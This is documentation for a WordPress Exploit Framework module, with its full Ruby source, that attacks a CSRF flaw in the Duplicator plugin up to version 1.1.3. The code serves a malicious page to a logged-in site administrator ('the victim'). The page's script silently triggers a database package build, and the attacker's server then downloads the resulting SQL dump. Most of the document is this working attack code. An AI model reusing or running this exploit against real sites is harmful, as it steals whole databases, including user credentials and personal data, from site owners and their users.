Class: Wpxf::Auxiliary::DuplicatorCsrfDbExport

Inherits:
Module
  • Object
show all
Includes:
Wpxf, Helpers::Export, Net::HttpServer
Defined in:
lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from Helpers::Export

#export_and_log_loot, #export_path, #generate_unique_filename, #register_export_path_option

Methods included from Db::Loot

#store_loot

Methods included from Net::HttpServer

#http_server_bind_address, #http_server_bind_port, #http_server_thread, #js_ajax_download, #js_ajax_post, #js_post, #start_http_server, #stop_http_server

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initializeDuplicatorCsrfDbExport

Returns a new instance of DuplicatorCsrfDbExport.



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 10

def initialize
  super

  update_info(
    name: 'Duplicator <= 1.1.3 CSRF Database Export',
    desc: %(
      This module exploits a cross-site request forgery vulnerability found
      in Duplicator <= 1.1.3 which will create a database export when a user
      visits the generated web page.
    ),
    author: [
      'RatioSec Research', # Discovery and disclosure
      'rastating'          # WPXF module
    ],
    references: [
      ['WPVDB', '8388'],
      ['URL', 'http://www.ratiosec.com/2016/duplicator-wordpress-plugin-source-database-disclosure-via-csrf/'],
      ['URL', 'http://www.securityfocus.com/archive/1/537506'],
      ['URL', 'http://lifeinthegrid.com/support/knowledgebase.php?article=20']
    ],
    date: 'Feb 10 2016'
  )

  register_options([
    StringOption.new(
      name: 'local_host',
      desc: 'The address of the host listening for a connection',
      required: true
    ),
    StringOption.new(
      name: 'complete_path',
      desc: 'The path to request when the attack is complete',
      required: true,
      default: Utility::Text.rand_alpha(rand(6..10))
    )
  ])

  register_export_path_option(true)
end

Instance Method Details

#checkObject



50
51
52
# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 50

def check
  check_plugin_version_from_readme('duplicator', '1.1.4')
end

#complete_pathObject



54
55
56
# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 54

def complete_path
  datastore['complete_path']
end

#complete_urlObject



62
63
64
# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 62

def complete_url
  "#{local_host_base_url}#{complete_path}"
end

#download_backupObject



146
147
148
149
150
151
152
153
154
155
156
# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 146

def download_backup
  url = normalize_uri(full_uri, 'wp-snapshots', "#{package_name}_#{package_hash}_database.sql")
  emit_info "Checking URL: #{url}", true
  sleep(5)
  res = download_file(url: url, method: :get, local_filename: export_path)
  return unless res.code == 200

  @success = true
  emit_success "Downloaded backup to #{export_path}"
  stop_http_server
end

#local_host_base_urlObject



58
59
60
# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 58

def local_host_base_url
  "http://#{datastore['local_host']}:#{http_server_bind_port}/"
end

#on_http_request(path, _params, _headers) ⇒ Object



135
136
137
138
139
140
141
142
143
144
# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 135

def on_http_request(path, _params, _headers)
  if path.eql?("/#{complete_path}")
    emit_info 'Checking for remote backup...'
    download_backup
    ''
  else
    emit_info 'Serving page to client...'
    { type: 'text/html', body: page_markup }
  end
end

#package_hashObject



66
67
68
# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 66

def package_hash
  @package_hash ||= Utility::Text.rand_alpha(6)
end

#package_nameObject



70
71
72
# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 70

def package_name
  @package_name ||= Utility::Text.rand_alpha(6)
end

#page_markupObject



121
122
123
124
125
126
127
128
129
130
131
132
133
# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 121

def page_markup
  %(
    <html>
    <head>
    </head>
    <body>
      <script>
        #{page_script}
      </script>
    </body>
    </html>
  )
end

#page_scriptObject



74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 74

def page_script
  func1 = Utility::Text.rand_alpha(rand(5..10))
  func2 = Utility::Text.rand_alpha(rand(5..10))
  %|
    debugger;

    function #{func2}() {
      var xhr = new XMLHttpRequest();
      xhr.open("GET", "#{wordpress_url_admin_ajax}?action=duplicator_package_build", true);
      xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
      xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
      xhr.withCredentials = true;
      var body = "";
      var aBody = new Uint8Array(body.length);
      for (var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i);
      xhr.send(new Blob([aBody]));
      xhr.onreadystatechange = function() {
        if (xhr.readyState == 4) {
          window.location = '#{complete_url}';
        }
      };
    }

    function #{func1}() {
      var xhr = new XMLHttpRequest();
      xhr.open("POST", "#{normalize_uri(wordpress_url_admin, 'admin.php')}?page=duplicator&tab=new2", true);
      xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
      xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
      xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
      xhr.withCredentials = true;
      var body = "action=&package-hash=#{package_hash}&package-name=#{package_name}&package-notes=&archive-format=ZIP&filter-dirs=&filter-exts=&dbhost=&dbport=&dbname=&dbuser=&url-new=";
      var aBody = new Uint8Array(body.length);
      for (var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i);
      xhr.send(new Blob([aBody]));
      xhr.onreadystatechange = function() {
        if (xhr.readyState == 4) {
          #{func2}();
        }
      };
    }

    #{func1}();
  |
end

#runObject



158
159
160
161
162
163
164
165
166
167
168
# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 158

def run
  return false unless super

  emit_info 'Provide the URL below to the victim to begin the database backup'
  puts
  puts local_host_base_url
  puts

  start_http_server
  @success
end